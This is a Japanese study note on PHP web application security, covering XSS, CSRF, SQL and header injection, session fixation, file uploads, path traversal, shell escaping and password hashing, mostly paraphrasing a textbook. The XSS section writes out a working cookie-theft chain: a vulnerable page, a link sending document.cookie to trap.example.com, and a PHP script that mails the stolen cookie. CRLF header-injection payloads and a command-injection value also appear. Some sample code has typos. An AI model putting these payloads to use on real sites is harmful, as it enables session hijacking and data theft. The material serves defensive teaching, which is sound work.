<input type="text" name="foo" value="Input area sample.">
<textarea name="bar">Text area sample.</textarea>
<, >はHTMLのメタ文字と解釈されないので下記コードはJavaScriptを実行しません。
<textarea name="bar"><script>alert('Script');</script></textarea>
もちろん上記内容を送信しdiv要素などへ表示した場合はスクリプトが実行されます。
ブラウザは、HTMLエンティティを入力エリア(input, textarea)に表示する際に、通常の文字に変換するので、下記内容はHTMLエンティティではなく変換された<, >が送信されます。
<textarea name="bar"><script>alert('Script.');</script></textarea>
<input type="submit" name="send" value="送信">
...
...
echo '<p>' . $_POST['bar'] '</p>;
そのため下記コードの送信ボタンを押すとJavaScriptが実行されます。
<は<へ>は>に変換された内容が送信されるためです。
最新のブラウザはX-XSS-Protection:が有効になっているために、上記例ではブラウザ側で防御されて実行を確認できない可能性があります。
ヘッダーにX-XSS-Protection:0をつけて試すと実行されます。
一方、入力者がテキストエリアへ直接<script>alert('Script.');</script>
を入力したときは<, $gt;
自体が送信されるのでスクリプトは実行されません。
つまりinput, textareaの入力内容は見たままを送信します。
エスケープ処理とはサニタイズ(無害化)の手段です。
またエスケープは異なるコンテキストでもデータの内容をそのまま保持するためのテクニックのことでもあります。
同一生成元ポリシー(same origin policy)とは、JavaScriptによるサイトをまたがったアクセスを禁止するセキュリティ上の制限であり、ブラウザのサンドボックスに用意された制限の1つです。 -- 「安全なWebアプリケーションの作り方」(徳丸 p58)
アクセス元 | アクセス先 |
---|---|
example.jp | example.com |
example.jp/violation.html
<html>
<body>
<script src="/jquery.js"></script>
<script>
.....
$.get('http://example.com/xxx', function(data) {
// 成功時の処理
});
</script>
</body>
上記は、example.jpからexample.comに対するサイトを跨いだリクエストのためにエラーになります。
XMLHttpRequest cannot load http://example.com/xxx. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://example.com' is therefore not allowed access.
HTTPレスポンスのAccess-Control-Allow-Origin
ヘッダで許可するアクセス元を指定します。
例えば全てのアクセス元を許可するときは以下のようになります。
Access-Control-Allow-Origin: *
ref. HTTP アクセス制御 (CORS) - HTTP | MDN
以下に例を示す。
window.location.hrefプロパティはwindow.location.replace()でも同じ。
ref. 【Javascript】location.hrefとlocation.replace()の違い。
攻撃対象サイト
(A)に存在する脆弱性。
// http://target.example.com/xss/unsafe.php
<?php
session_start();
header('X-XSS-Protection: 0');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
<input type="text" name="keyword">
<input type="submit" name="send" value="送信">
</form>
<p><?php echo isset($_GET['keyword']) ? 'Keyword: ' . $_GET['keyword'] : ''; ?></p>
</body>
</html>
脆弱性を攻撃する悪意あるサイト
(B)に設置したリンク。
// パーセントエンコード%2Bは+
<a href="http://target.example.com/xss/unsafe.php?keyword=<script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='%2Bdocument.cookie;</script>">悪意あるリンク</a>
攻撃対象サイト
(A)からのレスポンス(target.example.comからのレスポンス)。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
<input type="text" name="keyword">
<input type="submit" name="send" value="送信">
</form>
<p><script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='+document.cookie;</script></p>
</body>
</html>
リダイレクト先の悪意あるサイト
(B)のメール送信スクリプト。
<?php
mb_language('Japanese');
mb_internal_encoding('UTF-8');
$cookie = $_GET['cookie'];
$to = 'info@trap.example.com';
$subject = mb_encode_mimeheader('XSSテスト', 'JIS');
$message = mb_convert_encoding($cookie, 'JIS');
$header_array = array(
'Mime-Version: 1.0',
'Content-Type: text/plain; charset=ISO-2022-JP',
'Content-Transfer-Encoding: 7bit',
'From: info@trap.example.com',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<?php echo $cookie; ?>
</body>
</html>
JavaScriptに関係するXSSの主な原因を記載します。
上記レスポンスを返した攻撃対象サイト
(A)のクッキー情報をブラウザ自身が悪意あるサイト
(B)に送信することはありません。
しかしレスポンス内のJavaScriptは悪意あるサイト
(B)にリダイレクトする前に攻撃対象サイト
(A)のクッキー情報を読み取って、悪意あるサイト
(B)のURLにそのクッキー情報を付与してから悪意あるサイト
(B)にリダイレクトするので、攻撃対象サイト
(A)のクッキーが悪意あるサイト
(B)へ送信されます。
header('X-XSS-Protection: 1;mode=block');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: default-src 'self'"); // 例 詳細要調査
XSS対策は特殊文字&, <, >, ', "をHTMLエンティティ(文字参照)へエスケープし出力します。
変換前 | 変換後 |
---|---|
& (アンパサンド) | & |
" (ダブルクォート) | " |
' (シングルクォート) | ' (ENT_HTML401 の場合) あるいは ' ( ENT_XML1、ENT_XHTML、 ENT_HTML5 の場合)。 |
< (小なり) | < |
> (大なり) | > |
引用 PHP: htmlspecialchars - Manual。
関数名 | 内容 | 例 |
---|---|---|
htmlspecialchars | 特殊文字をHTMLエンティティ(文字参照)へ変換します。第2引数へENT_QUOTEを指定したときの特殊文字は&, <, >, ', "です。 | htmlspecialchars('対象文字', ENT_QUOTE, 'UTF-8'); |
htmlentities | HTMLエンティティへ変換可能な全ての文字を変換します | htmlentities('対象文字', ENT_QUOTE, 'UTF-8'); |
htmlentitiesはHTMLエンティティへ変換可能な全ての文字を変換します。変換可能な文字は下記関数で取得できます。
get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES); // htmlspecialcharsが変換する文字種の確認
get_html_translation_table(HTML_ENTITIES, ENT_QUOTES); // htmlentitiesが変換する文字種の確認
href属性はJavaScriptをJavaScriptプロトコル(javascript:)で記述することができます。
JavaScriptの混入を避けるためhref属性値へ外部の入力値を含めるときは属性値がhttp://やhttps://で始まっていることを確認してください。
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2335). SBクリエイティブ株式会社. Kindle 版.
scriptタグの中は実体参照<を<と解釈しません。そのため2-2でhtmlspecialchars/htmlentitiesでエスケープした場合は<自体を表示したいときに問題が出るので使えません。 同様に<ではなく</を検証するのは<自体を表現したいときの問題を避けるためです。HTMLの規格では</はscriptタグの中へ記述できないので</が記載されていないかを検証します。
PHP逆引レシピ(p777)
$escaped = preg_replace_callback(
'/[^-\.0-9a-zA-Z]+/u',
function ($matches) {
$u16 = mb_convert_encoding($matches[0], 'UTF-16');
return preg_replace('/[0-9a-f]{4}/', '\u$0', bin2hex($u16));
},
$subject
);
echo $escaped;
Unicode ~ユニコードエスケープ形式とは~(文字コード関連) | 読み物 | ウナのIT資格一問一答
JavaScriptの文字列 | JavaScriptのエスケープシーケンス |
---|---|
' | \' |
" | \" |
\ | \\ |
改行コード | \n |
JavaScript文字列としてエスケープ -> HTMLエスケープ
元入力 | JavaScriptエスケープ後 | HTMLエスケープ後 |
---|---|---|
<>'"\ | <>\'\"\\ | <>\'\"\\ |
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2301). SBクリエイティブ株式会社. Kindle 版.
他のページからifameで表示されることで意図しない処理が行わせます。
iframeとして読み込まれたページに脆弱性があるとXSSなどの脆弱性が起きます。
ヘッダー | 値 |
---|---|
X-FRAME-OPTIONSヘッダー | DENY フレームとして表示することを禁止します。 SAMEORIGIN 同一ドメインのみ表示を許可します。 |
header('X-FRAME-OPTIONS: DENY');
悪意あるサイトからリクエストを受け処理を実行する脆弱性です。
CSRFでは下記の理解が重量です。
いたずら的書き込み、不正サイトへの誘導、犯罪予告といった掲示板やアンケートフォームへの不正な書き込み 不正な書き込みを大量に行うことによるDoS攻撃
-- https://www.trendmicro.com/ja_jp/security-intelligence/research-reports/threat-solution/csrf.html#:~:text=%E5%BD%B1%E9%9F%BF%E3%81%A8%E8%A2%AB%E5%AE%B3,%E3%81%B8%E3%81%AE%E4%B8%8D%E6%AD%A3%E3%81%AA%E6%9B%B8%E3%81%8D%E8%BE%BC%E3%81%BF
外部から知ることのできないトークンをhidden属性値として埋め込みサーバー側でセッションを使いリクエストの妥当性を検証します。 トークンとして利用されるものに下記があります。
セッション値で良いかワンタイムトークンが必要かは開発ポリシーによります。
<?php
session_start();
if (!isset($_POST['token']) || session_id() !== $_POST['token']) {
echo '不正アクセスです。';
return;
}
if (isset($_POST['send']) && $_POST['send'] !== '') {
mb_language('Japanese');
mb_internal_encoding('UTF-8');
$password = isset($_POST['password']) ? $_POST['password'] : '';
$to = 'info@foo.jp';
$subject = mb_encode_mimeheader('CSRF対策あり', 'JIS');
$message = mb_convert_encoding($password, 'JIS');
$header_array = array(
'Mime-Version: 1.0',
'Content-Type: text/plain; charset=ISO-2022-JP',
'Content-Transfer-Encoding: 7bit',
'From: cracked@foo.jp',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>脆弱性</title>
</head>
<body>
<form action="" method="post">
<input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id(), ENT_QUOTES, 'UTF-8'); ?>">
パスワード: <input type="password" name="password"><br>
<input type="submit" name="send" value="送信">
</form>
</body>
</html>
<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST" && $_SESSION['token'] === $_POST['token']) {
// 正常な処理
} esle {
echo '不正なアクセスです。
return;
}
$_SESSION['token'] = openssl_random_pseudo_bytes(32);
?>
<form method="POST" action="controller.php">
<input type="hidden" value="<?php htmlspecalchars($_SESSION['token'], ENT_QUOTES, 'UTF-8'); ?>">
...
<input type="submit" name="送信" value="送信">
</form>
サーバーレベルで設定するなり API 関数 mysqli_set_charset() を使うなりして、 文字セットを明示しておく必要があります。この文字セットが mysqli_real_escape_string() に影響を及ぼします。出典 http://php.net/manual/ja/mysqli.real-escape-string.php
プリペアドステートメントはテーブル名やフィールド名には使用できません。そのためテーブル名やフィールド名へ外部からの入力を含めるときはプリペアドステートメントだけではSQLインジェクションの対策としては不十分です。
DB処理は文字コード(多くの場合UTF-8)を正しく指定してください。
MySQLデータベース作成
mysql> CREATE DATABASE <database> DEFAULT CHARACTER SET utf8mb4;
PDOで文字コードを指定し接続
<?php
$pdo = new PDO(
'mysql:host=<host>;dbname=<database>;charset=utf8mb4',
'<user>',
'<password>'
);
HTTPヘッダは改行で区切られます。HTTPヘッダの中に改行を混入され意図しないヘッダを出力する脆弱性がHTTPヘッダインジェクションです。
またHTTPヘッダと本文は空白行で区切られるのでHTTPヘッダへ意図せぬ改行を2回連続で出力された後のデータがレスポンスボディとして表示されることで画面を改変されることも含まれます。
HTTPヘッダの例
Content-Encoding:gzip
Content-Length:16586
Content-Type:text/html; charset=UTF-8
PHP5.1.1以前ではheader関数は改行を検証しておらずHTTPヘッダインジェクションがありました。
<?php
header('Location: ' . $_GET['url']);
http://example.jp/header.php?url=http://example/top.php%0d%0aSet-Cookie:+PHPSESSID%3DABC %0dはCR、%0aはLFで%0d%0aは改行(CRLF)を表します。上記は下記のヘッダを出力します。
Location: http://example/top.php
Set-Cookie: PHPSESSID=ABC
PHP5.1.2で改行を検証するようになり上記の問題はなくなりました。
改行を検証するようになったPHP5.1.2以降も攻撃によってHTTPヘッダインジェクションが起こる可能性がありましたが下記バージョンで対策が行われています。
PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残る | 徳丸浩の日記
メールのヘッダーも改行で区切ります。下記のコードは意図せぬヘッダーを追加されるサンプルです。
<?php
$from = $_GET['from'];
mb_language('japanese');
mb_internal_encoding('UTF-8');
$to = 'info@example.jp';
$subject = '日本語の題名';
$message = '日本語メールの本文。';
$mail_result = mb_send_mail($to, $subject, $message, $from);
if ($mail_result) {
echo '送信完了';
} else {
echo '失敗';
}
http://php.net/manual/ja/function.mb-send-mail.php
クエリ文字
?from=From%3a+info@example.com%0d%0aBcc%3a+info@trap.example.com
// %0d%0aは改行(CRLF)をURLエンコーディングした値です。
上記コードはメールヘッダーへFromに加えBccも追加します。
不備のあるセッション管理機構の使用により起こります。
セッション管理はPHPが提供するセッション管理機構を使用してください。
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3168-3174). SBクリエイティブ株式会社. Kindle 版.
URLによるセッションの埋め込みはsession.use_only_cookieを1にすることで防ぐことができます。
クッキー に セッション ID を 保持 し て いる 場合 でも、 セッション ID の 固定 化 が 可能 に なる 場合 が あり ます。 クッキー の セッション ID を 外部 から 設定 する こと は 通常 でき ない はず です が、 __ブラウザ や Web アプリケーション に 脆弱性 が あれ ば、 可能 になり ます。__以下 は、 クッキー を 第三者 が 設定 できる 脆弱性 の 例 です。 クッキー モンスター 問題( ブラウザ の 脆弱性、 3. 1 節 参照) クロスサイト・スクリプティング 脆弱性( 4. 3 節 参照) HTTP ヘッダ・インジェクション 脆弱性( 4. 7. 2 項 参照)
徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3527-3534). SBクリエイティブ株式会社. Kindle 版.
原則クッキーの値は第3者は変更できません。ただし下記の脆弱性がある場合は変更される可能性があります。
徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3527-3534). SBクリエイティブ株式会社. Kindle 版.
例えばXSSがありJavaScriptが実行できると下記コードでセッションを埋め込むことができます。
document.cookie = 'PHPSESID=' + encodeURIComponent( '注入したい値 );
また不具合ではなくPHPのセッション管理機構は仕様上セッションアダプションが起こります。
先の攻撃シナリオで、PHPSESSID=ABCというセッションIDが使用されています。ABCは、攻撃者が勝手に作成したセッションIDですが、PHPには未知のセッションIDを受け入れるという特性があります。この特性はセッションアダプション(Session Adoption)と呼ばれます。
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方(p178)
セッションアダプション は PHP 5. 5. 4 以降 で、 php. use_ strict_ mode = On を 指定 する と 解消 さ れ ます。
出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3523-3524). SBクリエイティブ株式会社. Kindle 版.
推測、盗み出し、強制とは異なりますがセッションの持つ下記特性は重要です。
これは不備ではなくセッションの仕様です。
特にCSRFが発生する原因として重要です。
session_regenerate_id(true); // trueを指定しないと古いセッションが破棄されず利用できます。必ずtrueを指定してください。
http://php.net/manual/ja/function.session-regenerate-id.php
array getimagesize ( string $filename [, array &$imageinfo ] )
最大 7 つの要素からなる配列を返します。画像の形式によっては、 channels や bits は含まれないことがあります。
0 番目および 1 番目の要素は、それぞれ画像の幅と高さを表します。
注意: 形式によっては、画像を含まないものや複数の画像を含むものがあります。 これらの場合、getimagesize() は画像のサイズを適切に決定することができません。このような場合、 getimagesize() が返す幅と高さはいずれもゼロとなります。 2 番目の要素は IMAGETYPE_XXX constants 定数のひとつで、 画像の形式を表します。
3 番目の要素は IMG タグで直接利用できる文字列 height="yyy" width="xxx" です。
mimeは画像のMIMEタイプに一致します。この情報は 画像とともに正しい HTTP Content-type ヘッダを転送するために使用できます
getimagesize 返り値の例
画像でないときはFALSEが返ります。
PNGの例
array (size=6)
0 => int 480
1 => int 360
2 => int 3 // GIF 1, JPEG 2, PNG 3
3 => string 'width="480" height="360"' (length=24)
'bits' => int 8
'mime' => string 'image/png' (length=9)
2番目の要素 定数 | 値 |
---|---|
IMAGETYPE_GIF | 1 |
IMAGETYPE_JPEG | 2 |
IMAGETYPE_PNG | 3 |
<?php
function check_uploded_image_type($tmp, $name)
{
$data = [
'message' => '',
'errors' => [],
];
$info = getimagesize($tmp);
if ($info === false) {
$data['message'] = '画像ではありません。';
$data['errors'] = 'Not Image.';
return $data;
}
$ext = strtolower(pathinfo($name)['extension']);
if ($ext !== 'gif' && $ext !== 'jpg' && $ext !== 'png') {
$data['message'] = 'GIF, JPEG, PNG形式のファイルのみアップロードできます。';
$data['errors'] = 'Invalid File Type.';
return $data;
}
if ($ext === 'gif' && $info[2] === IMAGETYPE_GIF) {
$data['message'] = 'GIF画像です。';
return $data;
}
if ($ext === 'jpg' && $info[2] === IMAGETYPE_JPEG) {
$data['message'] = 'JPEG画像です。';
return $data;
}
if ($ext === 'png' && $info[2] === IMAGETYPE_PNG) {
$data['message'] = 'PNG画像です。';
return $data;
}
$data['message'] = '不正なデータです。';
$data['errors'] = 'Invalid Data.';
return $data;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['send']) && $_POST['send'] === '送信') {
if (!is_uploaded_file($_FILES['file']['tmp_name'])) {
echo 'アップロードされたファイルではありません。';
return;
}
$data = check_uploded_image_type($_FILES['file']['tmp_name'], $_FILES['file']['name']);
if (count($data['errors']) === 0) {
echo '正常なファイルです。'.$data['message'];
} else {
echo '不正なファイルです。'.$data['message'];
}
}
?>
<html>
<body>
<form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="POST" enctype="multipart/form-data">
<input type="text" name="foo">
<input type="file" name="file">
<input type="submit" name="send" value="送信">
</form>
</body>
</html>
ブラウザで開く必要のないファイルはダウンロードを強制することですることで脆弱性を防ぐことができる場合があります。
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=ファイル名
NULLバイトとはダブルクォート文字列の下記シーケンスを表します。 NULLバイトを文字列終端と判断する関数をバイナリセーフでない関数と呼びます。
種類 | NULLバイト |
---|---|
8進数 | \0 |
16進数 | \x00 |
URLエンコーディング | %00 |
関数 | 内容 |
---|---|
バイナリセーフな関数 | NULLバイトを文字列終端と判断しません。 |
バイナリセーフでない関数 | NULLバイトを文字列終端と判断します。 |
PHP5.3.4からファイルパスを指定可能な言語構造と関数の引数へNULLバイトが渡されたとき処理が失敗するよう修正されました(バイナリセーフな関数になりました)。
外部入力へ親ディレクトリを表す\..やNULLバイトを混入することで意図しないファイルを開かれる脆弱性です。
対策
安全なファル読み込み
$dir = '/var/www/images/';
$ext_list = [
'.yaml',
'.php',
]
$filename = basename($_GET['filename']);
$ext = substr(strrchr($filename, '.'), 1);
if(!in_array($ext, $ext_list){
return false;
}
$file = file_get_contents($dir . $filename);
ディエクトリへアスセスしたときにファイル一覧を表示する機能をディレクトリ・リスティング(Directory Listing)と呼びます。 httpd.conf
<Directory パス>
Options -Indexes
....
</Directory>
.htaccess
Options -Indexes
関数 | 意味 |
---|---|
escapeshellarg | 「escapeshellarg() は、文字列をシングルクオート で括り、既存のシングルクオートを全てクオート/エスケープします。これにより、文字列を直接シェル関数に渡し、単一の安全な引数として処 理することを可能にします。この関数は、ユーザー入力からの入力を シェル関数への引数として渡す際にエスケープするために使用する必要 があります。シェル関数には、exec(), system()そして バックティック演算子 を含むシェル関数が含まれます。Windows では、escapeshellarg() は、パーセント記号と感嘆符 (遅延環境変数の展開) とダブルクォートをスペースに置き換えます。 そして、文字列をダブルクォートで囲みます」php公式マニュアル。 |
escapeshellcmd | 「escapeshellcmd() は、文字列中においてシェルコマンドを だまして勝手なコマンドを実行する可能性がある文字をエスケープします。 この関数は、ユーザーに入力されたデータを関数 exec() または system() または、 バックティック演算子 に渡す前に全てエスケープを行う場合に使用するべきです。__&#;` |
$injection = '-al; cat index.php';
$clean = escapeshellarg($injection);
// $cleanはコマンド全体をシングルクォートで囲んだ文字列となり一つのコマンドになります。
// ※ シングルクォートで囲まれた文字列は単一コマンドと解釈されます。
$result = system('ls '. $clean);
// ls '-al; cat index.php';
// -al; cat index.phpというフォルダはないので何も表示されません。
var_dump($result);
項目 | 内容 |
---|---|
レスポンスヘッダー | Content-Type: application/json; charset: UTF-8 |
レスポンッスヘッダー | X-Content-Type-Option: nosniff (IE向け対策) |
リクエストヘッダー | X-Requested-Width: XMLHttpRequestがないときはエラーを返す |
sniff 匂いを嗅ぐ
セキュリティ関連のphp.ini
ディレクティブ | 値 | 内容 |
---|---|---|
magic_quotes_gpc | PHP5.3非推奨、5.4削除 | 使用しません。 |
session.use_only_cookies | 1/0 | 1のときクライアントへセッションIDを保存するときにクッキーのみを利用します。またURLへセッションIDの埋め込みは機能しないためセッション固定化の対策になります。PHP5.3.0からデフォルトで1です。 |
session.use_cookie | 1/0 | クライアントへセッションIDを保存するときにクッキーを利用します。 URLへ埋め込まれたセッションIDも機能するためセッション固定化の対策にはなりません。PHP5.3.0からデフォルトで1です。 |
allow_url_fopen | 1/0 | fopenなどへリモートファイルを指定可能かを設定します。デフォルト1(指定可能)です。 |
allow_url_include | 1/0 | include, include_once, require, require_once で URL 対応の fopen ラッパーが使用できるようになります。出典 PHPマニュアル。デフォルトは0です。この設定値を有効にするにはallow_url_fopenも有効でなければなりません。 |
disable_functions | / | 「このディレクティブを使うと、特定の関数を セキュリティ の観点から無効にすることができます。 関数名の一覧をカンマ区切りで指定します。disable_functions は セーフモード の影響を受けません。このディレクティブで無効にできるのは 内部の関数だけです。 ユーザーが定義した関数 は影響を受けません。このディレクティブは php.ini で設定しなければなりません。 たとえばこれを httpd.conf で設定することはできません。」PHP公式マニュアル。disalble_functionsはsystemを設定することによりシステム関数の実行を停止できます。evalなど言語構造は指定できません。 |
upload_max_filesize | 2M | アップロードファイルのハードリミットです。 memory_limit > post_max_size > upload_max_filesizeです。 |
memory_limit | 2048M | PHPスクリプトが使用するメモリのリミットでです。 -1は無制限です。 |
post_max_size | 1024M | POST送信できるデータの最大値です。 |
max_input_time | 秒 | PHPスクリプトがGETやPOSTをパースする最大の秒数です。 |
max_execution_time | 秒 | PHPスクリプトが強制終了されるまでの最大秒数です。デフォルトは30です。 -1は無制限です。 |
register_globals | / | PHP4.2以降デフォルトでOFF。5.3で非推奨、5.4で廃止。 |
session.use_trans_sid boolean | session.use_trans_sidは、透過的なセッション IDの付加をするかどうかを指定します。 デフォルトは、0(無効)です。注意: URLに基づくセッション管理は、Cookieに基づくセッション管理と比べ てセキュリティリスクが大きくなります。例えば、ユーザーは、emailに より友人にアクティブなセッションIDを含むURLを送信する可能性があ り、また、ユーザーは自分のブックマークにセッションIDを含むURLを保 存し、常に同じセッションIDで使用するサイトにアクセスする可能性 があります。 PHP 7.1.0 以降では、https://php.net/ のような完全な URL パスが、透過的セッションID機能で扱われるようになります。 これより前のバージョンでは、相対 URL パスだけが対象でした。 リライト対象のホストは session.trans_sid_hosts で定義します。 | |
session.use_strict_mode | Onにするとセッションアブダプションを禁止します。 |
関数 | ソルト | 内容 |
---|---|---|
md5(uniqid(rand())) | なし | ハッシュを得るためのスニペットです。パスワードハッシュとして使用すべきではありません。単にユニークな値を必要とするときhash関数とどちらが良いか。 |
string hash ( string $algo , string $data [, bool $raw_output = false ] ) | なし | ソルトを使用しません。必要第1引数にアルゴリズム(md5, sha256など)を指定します。高速にハッシュを生成しますがパスワードハッシュのために使用すべきではありません。 |
string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) | あり | ソルトを使用するのでhashより強度が強くなります。パスワードハッシュのために使用すべきではありません。 |
string password_hash ( string $password , integer $algo [, array $options ] ) | あり | パスワード用のハッシュ化を生成します。ソルトと計算コストを指定します。crypt関数のラッパーです。 第2パラメータのデフォルトはPASSWORD_DEFAULTでbcript(Blowfish)が使用されます。現在はPASSWORD_DEFAULTはPASSWORD_BCRYPTを指定するのと同じです。ただし将来的により良いエンコードがあればPASSWORD_DEFAULTはアップデート時に自動で変更します。 第3パラメーターで['cost' => 12 ]を指定すると212ハッシュ化を行います(デフォルトは10です)。 |
identifiable.info - 暗号化処理をときほぐす: パスワードの格納に Base64 を使ってはいけない
$hash = password_hash("password", PASSWORD_DEFAULT);
使ったアルゴリズムやコスト、そしてソフトもハッシュの一部として返されます。 つまり、ハッシュを検証するために必要な情報は、すべてそこに含まれているということです。 そのため、password_verify() でハッシュを検証するときに、 ソルトやアルゴリズムの情報を別に保存する必要はありません。
php公式マニュアル。
<?php
$password = 'password';
$hash = password_hash($password, PASSWORD_DEFAULT);
echo 'パスワードハッシュ: ' . $hash . '<br>';
echo '----- 認証処理 -----<br>';
if (password_verify($password, $hash)) {
echo '認証成功'; // 実行されます。
} else {
echo '認証失敗';
}
コマンドラインでハッシュ取得
$ php -r "echo password_hash('password', PASSWORD_DEFAULT, [ 'salt' => 'some_secret_string_value', 'cost' => 15 ]) . PHP_EOL;"
saltは省略しpassword_hashの自動生成に任せることを推奨します。
<?php
$s = file_get_contents('/dev/urandom',false,NULL,0,24);
echo base64_encode($s);
徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3584). SBクリエイティブ株式会社. Kindle 版.
$s = openssl_random_pseudo_bytes(32);
echo base64_encode($s);
PHP逆引きレシピ p781
time関数はUnix エポック (1970 年 1 月 1 日 00:00:00 GMT) からの通算秒を返します。
秒単位であることに注意してください。UNIXタイムスタンプを暗号などのソルトで利用するのは避けてください。
10秒以内の場合10通りの値しか返しません。